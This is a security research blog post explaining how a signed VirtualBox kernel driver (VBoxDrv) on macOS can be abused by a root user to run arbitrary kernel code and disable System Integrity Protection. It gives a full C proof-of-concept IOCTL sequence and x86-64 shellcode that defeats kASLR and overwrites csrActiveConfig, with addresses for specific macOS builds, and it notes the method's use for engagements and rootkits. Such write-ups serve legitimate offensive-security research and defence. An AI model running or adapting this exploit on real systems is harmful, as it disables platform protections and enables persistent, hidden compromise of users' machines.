System Integrity Protection (sometimes called “rootless”) is a security feature introduced in OS X El Capitan as a way to protect critical system components from all accounts, including the root user. Since its introduction, a number of vulnerabilities have led to the bypassing of this technology either by leveraging exploits targeting macOS itself, or a third party driver.

As presented in our previous post exploring AV self-protection, the ability for an attacker to hide or protect software by leveraging protection features has become extremely interesting to me. With this in mind, I wanted to look at just how SIP bypasses were performed, and see if we could find a way to achieve this through a vulnerability in a signed driver. As we will be focusing on a legitimate kernel driver, the vulnerability can be transferred and loaded on any macOS system for use during your engagement by simply downloading the kext.

What this post will not cover is the ability to bypass Secure Kernel Extension Loading (SKEL). If you are interested in bypassing this, check out the recent presentation from Patrick Wardle.

As SIP is enforced by the macOS Kernel (XNU), we will be setting up LLDB to explore some of the interesting areas which occur within Ring-0. If you need a walkthrough of just how to do this, it is recommended that you check out our previous post here where we show how to set up a virtual debugging environment using VMWare’s Fusion hypervisor.

With the debugger set up, let’s first take a look at finding a vulnerable driver… enter VirtualBox.

Digging Around In VirtualBox

As many will be familiar, VirtualBox is an open source hypervisor owned by Oracle, with the code being readily available here. If we download and install VirtualBox, we can see that “kextstat” gives the following list of loaded drivers:

222 3 0xffffff7f8703a000 0x64000 0x64000 org.virtualbox.kext.VBoxDrv (5.2.16) 8F6F825C-9920-39E4-AF20-6DD4F233D4F1 <7 5 4 3 1> 223 0 0xffffff7f8709e000 0x8000 0x8000 org.virtualbox.kext.VBoxUSB (5.2.16) 1731469A-4A2D-32D4-8F03-4D138AAE1FE9 <222 166 54 7 5 4 3 1> 225 0 0xffffff7f870a8000 0x5000 0x5000 org.virtualbox.kext.VBoxNetFlt (5.2.16) 59F71856-C064-3B98-A8AD-B2C33164FBC2 <222 7 5 4 3 1> 226 0 0xffffff7f871f8000 0x6000 0x6000 org.virtualbox.kext.VBoxNetAdp (5.2.16) 24514714-1702-3FF6-90F8-8F3E79B4D8A4 <222 5 4 1>

For the purpose of this post, we will focus on “VBoxDrv.kext”, which is a support driver provided by VirtualBox. To begin our analysis, we will take the Darwin specific code for the extension which is found here.

Initially we see the setup of some I/O Kit code, with the IOUserClient class being inherited:

class org_virtualbox_SupDrvClient : public IOUserClient { … }

We will start with the method org_virtualbox_SupDrvClient::initWithTask which is used to validate the type being passed matches a value of SUP_DARWIN_IOSERVICE_COOKIE:

/** * Initializer called when the client opens the service. */ bool org_virtualbox_SupDrvClient::initWithTask(task_t OwningTask, void *pvSecurityId, UInt32 u32Type) { … if (u32Type != SUP_DARWIN_IOSERVICE_COOKIE) { LogRelMax(10,("org_virtualbox_SupDrvClient::initWithTask: Bad cookie %#x (%s)

", u32Type, pszProcName)); return false; }

Once we have passed this check, we enter the method org_virtualbox_SupDrvClient::start(IOService *pProvider) which is used to populate a session object allowing us to interact with the extension:

/* * Create a new session. */ int rc = supdrvCreateSession(&g_DevExt, true /* fUser */, false /*fUnrestricted*/, &m_pSession); if (RT_SUCCESS(rc)) { }

This kernel extension also exposes two character devices via /dev/vboxdrv and /dev/vboxdrvu. If we look at the VBoxDrvDarwinOpen function which is invoked on an open call on either character device, we can see that /dev/vboxdrv differs from /dev/vboxdrvu by the setting of a “unrestricted” flag:

static int VBoxDrvDarwinOpen(dev_t Dev, int fFlags, int fDevType, struct proc *pProcess) { ... const bool fUnrestricted = minor(Dev) == 0;

We also see that within this function, a list of active sessions are searched before we are permitted to proceed:

pSession = g_apSessionHashTab[iHash]; while (pSession && pSession->Process != Process) pSession = pSession->pNextHash; if (pSession) { if (!pSession->fOpened) { pSession->fOpened = true; pSession->fUnrestricted = fUnrestricted; pSession->Uid = Uid; pSession->Gid = Gid; } else rc = VERR_ALREADY_LOADED; } else rc = VERR_GENERAL_FAILURE;

This means that before we call the open function on the character device, we must ensure that we have a valid session open. This is relatively straight forward using the IOServiceOpen API call and supporting functions, for example:

io_connect_t open_service(const char *name) { CFMutableDictionaryRef dict; io_service_t service; io_connect_t connect; kern_return_t result; mach_port_t masterPort; io_iterator_t iter; if ((dict = IOServiceMatching(name)) == NULL) { printf("[!] IOServiceMatching call failed

"); return -1; } if ((result = IOMasterPort(MACH_PORT_NULL, &masterPort)) != KERN_SUCCESS) { printf("[!] IOMasterPort Call Failed

"); return -1; } if ((result = IOServiceGetMatchingServices(masterPort, dict, &iter)) != KERN_SUCCESS) { printf("[!] IOServiceGetMatchingServices call failed

"); return -1; } service = IOIteratorNext(iter); // Note the magic flag 0x64726962 if ((result = IOServiceOpen(service, mach_task_self(), 0x64726962, &connect)) != KERN_SUCCESS) { printf("[!] IOServiceOpen failed %s

", name); return -1; } return connect; }

Then once we have established our IOService connection, we are free to make an open call to the character devices.

Once we have a file-handle to a character device, we see that we can make an IOCTL call which is supported via one of two handlers, either VBoxDrvDarwinIOCtl or VBoxDrvDarwinIOCtlSMAP. Here we see that VBoxDrvDarwinIOCtlSMAP is actually disabling SMAP before simply passing execution onto VBoxDrvDarwinIOCtl, meaning that if we are able to trigger an exploit between the entry and exit of this function, we can return execution to our user-land shellcode:

static int VBoxDrvDarwinIOCtlSMAP(dev_t Dev, u_long iCmd, caddr_t pData, int fFlags, struct proc *pProcess) { /* * Allow VBox R0 code to touch R3 memory. Setting the AC bit disables the * SMAP check. */ RTCCUINTREG fSavedEfl = ASMAddFlags(X86_EFL_AC); int rc = VBoxDrvDarwinIOCtl(Dev, iCmd, pData, fFlags, pProcess); #if defined(VBOX_STRICT) || defined(VBOX_WITH_EFLAGS_AC_SET_IN_VBOXDRV) /* * Before we restore AC and the rest of EFLAGS, check if the IOCtl handler code * accidentially modified it or some other important flag. */ if (RT_UNLIKELY( (ASMGetFlags() & (X86_EFL_AC | X86_EFL_IF | X86_EFL_DF | X86_EFL_IOPL)) != ((fSavedEfl & (X86_EFL_AC | X86_EFL_IF | X86_EFL_DF | X86_EFL_IOPL)) | X86_EFL_AC) )) { char szTmp[48]; RTStrPrintf(szTmp, sizeof(szTmp), "iCmd=%#x: %#x->%#x!", iCmd, (uint32_t)fSavedEfl, (uint32_t)ASMGetFlags()); supdrvBadContext(&g_DevExt, "SUPDrv-darwin.cpp", __LINE__, szTmp); } #endif ASMSetFlags(fSavedEfl); return rc; }

Once we are passed to VBoxDrvDarwinIOCtl, the IOCTL data parameter is then checked, extracting a header from the request and completing a number of sanity checks. If everything checks out, the execution path is then shifted from our Darwin specific code into code shared by all supported OSes, supdrvIOCtl. It is here where the vulnerability we will be exploiting manifests itself.

Within supdrvIOCtl we first see validation of the IOCTL header:

if (RT_UNLIKELY( (pReqHdr->fFlags & SUPREQHDR_FLAGS_MAGIC_MASK) != SUPREQHDR_FLAGS_MAGIC || pReqHdr->cbIn < sizeof(*pReqHdr) || pReqHdr->cbIn > cbReq || pReqHdr->cbOut < sizeof(*pReqHdr) || pReqHdr->cbOut > cbReq))

Here the code is simply checking the length of the request, and ensuring that a value of SUPREQHDR_FLAGS_MAGIC_MASK is present within the flags field.

Next the function takes one of two paths depending on the value of the earlier set “fUnrestricted” variable:

if (pSession->fUnrestricted) rc = supdrvIOCtlInnerUnrestricted(uIOCtl, pDevExt, pSession, pReqHdr); else rc = supdrvIOCtlInnerRestricted(uIOCtl, pDevExt, pSession, pReqHdr);

Let’s return to this check quickly as the two code paths have dramatically different IOCTL methods exposed. The primary difference between the setting of “fUnrestricted” is based on the opening of either /dev/vboxdrv or /dev/vboxdrvu, with the former setting the fUnrestricted value to true. If we check the two character device file permissions:

crw------- 1 root wheel 35, 0 11 Aug 23:59 /dev/vboxdrv crw-rw-rw- 1 root wheel 35, 1 11 Aug 23:59 /dev/vboxdrvu

Unfortunately for us, /dev/vboxdrvu (which is available to all users as per the above file permissions) does not have anything interesting exposed for exploitation, meaning we need to access vboxdrv with a root user.

Continuing on via supdrvIOCtlInnerUnrestricted, we see a number of exposed IOCTL methods for us to explore. The three that we are interested in for this post are:

SUP_IOCTL_COOKIE

SUP_IOCTL_LDR_OPEN

SUP_IOCTL_LDR_LOAD

SUP_IOCTL_COOKIE

This is the initial IOCTL call we need to make, and is used to retrieve a “cookie” for subsequent calls. The main validation step performed is for the presence of a SUPCOOKIE_MAGIC value within the requests u.In.szMagic field. Additionally, the field of u.In.u32MinVersion needs to be set to a version supported by the driver.

Knowing this, we can use the following to populate our initial request:

SUPCOOKIE cookie; memset(&cookie, 0, sizeof(SUPCOOKIE)); cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE; cookie.Hdr.u32SessionCookie = 0x41424344; cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN; cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT; cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; cookie.u.In.u32ReqVersion = SUPDRV_IOC_VERSION; strcpy(cookie.u.In.szMagic, SUPCOOKIE_MAGIC); cookie.u.In.u32MinVersion = 0x290001; cookie.Hdr.rc = VERR_INTERNAL_ERROR;

When issued, we see that we receive a cookie within cookie.u.Out.u32Cookie which must be forwarded with subsequent requests within the header.

SUP_IOCTL_LDR_OPEN

For this call, we again need to pass a number of validation steps, which is simply a case of setting the correct parameters to meet the following:

PSUPLDROPEN pReq = (PSUPLDROPEN)pReqHdr; REQ_CHECK_SIZES(SUP_IOCTL_LDR_OPEN); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageWithTabs > 0); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageWithTabs < 16*_1M); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageBits > 0); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageBits > 0); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageBits < pReq->u.In.cbImageWithTabs); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.szName[0]); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, RTStrEnd(pReq->u.In.szName, sizeof(pReq->u.In.szName))); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, !supdrvCheckInvalidChar(pReq->u.In.szName, ";:()[]{}/\\|&*%#@!~`\"'")); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, RTStrEnd(pReq->u.In.szFilename, sizeof(pReq->u.In.szFilename)));

Passed this stage, we enter into the method supdrvIOCtl_LdrOpen, which will check to see if we have already loaded an image via the kernel extension. If no such image exists, a chunk of memory is allocated and returned to us via the IOCTL response. Below we see that this allocated memory within Ring-0 is actually marked executable:

pImage->pvImageAlloc = RTMemExecAlloc(pImage->cbImageBits + 31);

To create a valid request, we can therefore use something like this:

SUPLDROPEN ldropen; memset(&ldropen, 0, sizeof(SUPLDROPEN)); ldropen.Hdr.u32Cookie = cookie.u.Out.u32Cookie; ldropen.Hdr.u32SessionCookie = cookie.u.Out.u32SessionCookie; ldropen.Hdr.cbIn = sizeof(SUPLDROPEN); ldropen.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; ldropen.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT; ldropen.u.In.cbImageWithTabs = 100; ldropen.u.In.cbImageBits = 80; strcpy(ldropen.u.In.szFilename, "/tmp/notsupported"); strcpy(ldropen.u.In.szName, "XPN", 3); ioctl(fd, SUP_IOCTL_LDR_OPEN, &ldropen);

In response, we are provided a pointer to the allocated region of memory within u.Out.pvImageBase. We will need to provide this within the next call.

SUP_IOCTL_LDR_LOAD

The final IOCTL that we require to execute code in Ring-0 is SUP_IOCTL_LDR_LOAD, which takes a parameter of our previously allocated executable memory, as well as arbitrary data to load within this allocation.

Reviewing the handling of this IOCTL, we actually see that after a number of processing steps taken with our provided image data, the input value of u.In.pfnModuleInit is parsed. Surprisingly, this value is later used to pass execution within Ring-0 to a user supplied address:

pImage->pfnModuleInit = pReq->u.In.pfnModuleInit; ... rc = pImage->pfnModuleInit(pImage);

So with all the components ready, we can complete the following steps to execute code within Ring-0:

Connect to the IOService session for org_virtualbox_SupDrv, passing a type of SUP_DARWIN_IOSERVICE_COOKIE

Open /dev/vboxdrv

Send IOCTL request of SUP_IOCTL_COOKIE

Send IOCTL request of SUP_IOCTL_LDR_OPEN with previously returned cookie

Send IOCTL request of SUP_IOCTL_LDR_LOAD with previously allocated memory, our executable code, and a pfnModuleInit property pointing to our allocated memory

Now we have an idea of just how to gain arbitrary kernel code execution, we need to figure out just what to do with it. Obviously this vulnerability could be leveraged to create a rootkit, or simply to corrupt kernel memory, but in this post I wanted to leverage this vulnerability to disable SIP.

Disabling SIP

To help understand just how we go about disabling SIP, first we need to understand how it works, and just how it is enforced by the kernel. To do this, we will return to XNU’s source code, specifically bsd/kern/kern_csr.c.

The first area to focus on is the syscall handler syscall_csr_check:

int syscall_csr_check(struct csrctl_args *args) { csr_config_t mask = 0; int error = 0; if (args->useraddr == 0 || args->usersize != sizeof(mask)) return EINVAL; error = copyin(args->useraddr, &mask, sizeof(mask)); if (error) return error; return csr_check(mask); }

As shown, control is passed to the function csr_check:

int csr_check(csr_config_t mask) { boot_args *args = (boot_args *)PE_state.bootArgs; if (mask & CSR_ALLOW_DEVICE_CONFIGURATION) return (args->flags & kBootArgsFlagCSRConfigMode) ? 0 : EPERM; csr_config_t config; int ret = csr_get_active_config(&config); if (ret) { return ret; } …

We see here a reference to PE_state, which is a symbol exposed by the kernel. Further tracing of the code shows that PE_state allows us to access CSR flags with:

boot_args *args = (boot_args *)PE_state.bootArgs; if (args->flags & kBootArgsFlagCSRActiveConfig) { *config = args->csrActiveConfig & CSR_VALID_FLAGS; ...

So boot_args.csrActiveConfig looks like a good place to dump with our kernel debugger:

(lldb) print ((boot_args *)PE_state.bootArgs)->csrActiveConfig (uint32_t) $7 = 103

He we see an applied bitmask. If we take a look at “bsd/sys/csr.h”, we actually see a list of flags that can be set, including options to enable/disable restricted filesystem access, debugging, unsigned kexts:

/* Rootless configuration flags */ #define CSR_ALLOW_UNTRUSTED_KEXTS (1 << 0) #define CSR_ALLOW_UNRESTRICTED_FS (1 << 1) #define CSR_ALLOW_TASK_FOR_PID (1 << 2) #define CSR_ALLOW_KERNEL_DEBUGGER (1 << 3) #define CSR_ALLOW_APPLE_INTERNAL (1 << 4) #define CSR_ALLOW_DESTRUCTIVE_DTRACE (1 << 5) /* name deprecated */ #define CSR_ALLOW_UNRESTRICTED_DTRACE (1 << 5) #define CSR_ALLOW_UNRESTRICTED_NVRAM (1 << 6) #define CSR_ALLOW_DEVICE_CONFIGURATION (1 << 7) #define CSR_ALLOW_ANY_RECOVERY_OS (1 << 8) #define CSR_ALLOW_UNAPPROVED_KEXTS (1 << 9)

So for example, if we want to allow access to the /System/ directory, we can simple set CSR_ALLOW_UNRESTRICTED_FS. To test this in the debugger session:

At this stage, we now know just what we need to modify with our exploit when attempting to disable SIP.

Creating an Exploit

Now we have the components we need to execute arbitrary code within Ring-0, and with the goal of disabling SIP, let’s put together a basic exploit which will trigger our code execution. We have our knowledge of IOCTL’s to call, so our basic code will look like this:

char shellcode[] = “\xc3”; SUPCOOKIE cookie; SUPLDROPEN ldropen; SUPLDRLOAD *ldr = (SUPLDRLOAD *)malloc(9999); int d; printf("@_xpn_ - VirtualBox Ring0 Exec - SIP Bypass POC



"); printf("[*] Ready...

"); io_connect_t conn = open_service("org_virtualbox_SupDrv"); if (conn < 0) { return 2; } printf("[*] Steady...

"); int fd = open("/dev/vboxdrv", O_RDWR); if (fd < 0) { printf("[*] Fail... could not open /dev/vboxdrv

"); return 2; } memset(&cookie, 0, sizeof(SUPCOOKIE)); cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE; cookie.Hdr.u32SessionCookie = 0x41424345; cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN; cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT; cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; cookie.u.In.u32ReqVersion = SUPDRV_IOC_VERSION; strcpy(cookie.u.In.szMagic, SUPCOOKIE_MAGIC); cookie.u.In.u32MinVersion = 0x290001; cookie.Hdr.rc = VERR_INTERNAL_ERROR; ioctl(fd, SUP_IOCTL_COOKIE, &cookie); memset(&ldropen, 0, sizeof(SUPLDROPEN)); ldropen.Hdr.u32Cookie = cookie.u.Out.u32Cookie; ldropen.Hdr.u32SessionCookie = cookie.u.Out.u32SessionCookie; ldropen.Hdr.cbIn = sizeof(SUPLDROPEN); ldropen.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; ldropen.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT; ldropen.u.In.cbImageWithTabs = 100; ldropen.u.In.cbImageBits = 80; strcpy(ldropen.u.In.szFilename, "/tmp/ignored"); strncpy(ldropen.u.In.szName, "XPN3", 3) ioctl(fd, SUP_IOCTL_LDR_OPEN, &ldropen); printf(“DEBUG: Place breakpoint on %p

”, ldropen.u.Out.pvImageBase); scanf(“%d”, &pause); memset(ldr, 0x0, 9999); memcpy(ldr->u.In.abImage, shellcode, sizeof(shellcode)); ldr->Hdr.u32Cookie = cookie.u.Out.u32Cookie; ldr->Hdr.u32SessionCookie = cookie.u.Out.u32SessionCookie; ldr->Hdr.cbIn = SUP_IOCTL_LDR_LOAD_SIZE_IN(100); ldr->Hdr.cbOut = 2080; ldr->Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT; ldr->u.In.cbImageWithTabs = 100; ldr->u.In.cbImageBits = 80; ldr->u.In.pvImageBase = ldropen.u.Out.pvImageBase; ldr->u.In.pfnModuleInit = ldropen.u.Out.pvImageBase; ioctl(fd, SUP_IOCTL_LDR_LOAD, ldr); printf("[*] SIP Disabled!



");

Here we have added a debug statement showing the memory location that our fake “loader” will be added to. If we tie all of that together and add a breakpoint in the right place (our allocated kernel memory), we can see a break in our kernel debugger:

Now all that is left to do is craft our shellcode… and deal with kASLR.

Dealing with kASLR

One of the areas we haven’t dealt with so far is kASLR, which is used on all current versions of macOS to make life a bit more difficult for exploit developers. In our case, kASLR doesn’t really pose too much of a threat, as we have full code execution within kernel space. This means we can simply search for a kernel address using our shellcode, and leverage this to calculate the kASLR slide.

Let’s take a look at a backtrace when we hit our breakpoint:

Here we can see that we have a number of reliable kernel pointer present on the stack, which we can use to calculate the kASLR slide. With kASLR disabled, the XNU kernel is loaded at a fixed address of 0xffffff8000200000. This means that we can calculate the kASLR slide by subtracting the pointer found on the stack from it’s original location when loaded without kASLR.

If we choose the first kernel address shown on the backtrace within kernel.development`spec_ioctl, we can craft shellcode to walk through the stack frames to calculate the kASLR slide, and then modify csrActiveConfig:

push rbx mov rax, [rbp] ; First stack frame mov rax, [rax] ; Second stack frame mov rax, [rax] ; Third stack frame mov rax, [rax + 8] ; Kernel address (0xffffff800062b101 in development kernel) mov rbx, 0xffffff800062b101 sub qword rax, rbx ; Get slide mov rbx, 0xffffff8000e838f8 + 0xA0 add qword rax, rbx ; PE Boot + bootArgs mov rax, [rax] mov byte [rax + 0x498], 0x67 ; csrActiveconfig mov rax, 2 pop rbx ret

The above shellcode is targeted at the development kernel 10.13.6_17G65, however it is trivial to also calculate the required addresses by utilising the symbols present within any kernel image (see the nm command), or by using the VMWare debugger to boot into a non-development kernel and simply add your breakpoint and view the backtrace.

For example, if we want to target 10.13.6, we end up with the shellcode of:

push rbx mov rax, [rbp] ; First stack frame mov rax, [rax] ; Second stack frame mov rax, [rax] ; Third stack frame mov rax, [rax + 8] ; Kernel address mov rbx, 0xFFFFFF80004D6EB1 sub qword rax, rbx ; Get slide mov rbx, 0xFFFFFF8000C1D1A8 + 0xA0 add qword rax, rbx ; PE Boot + bootArgs mov rax, [rax] mov byte [rax + 0x498], 0x67 ; csrActiveconfig mov rax, 2 pop rbx ret

So now we have all the components we need to exploit the vulnerability, get around kASLR and modify SIP, let’s put all of the steps together and see this run on a non-development kernel:

https://www.youtube.com/embed/W05fVNabTBY

This blog post was written by Adam Chester.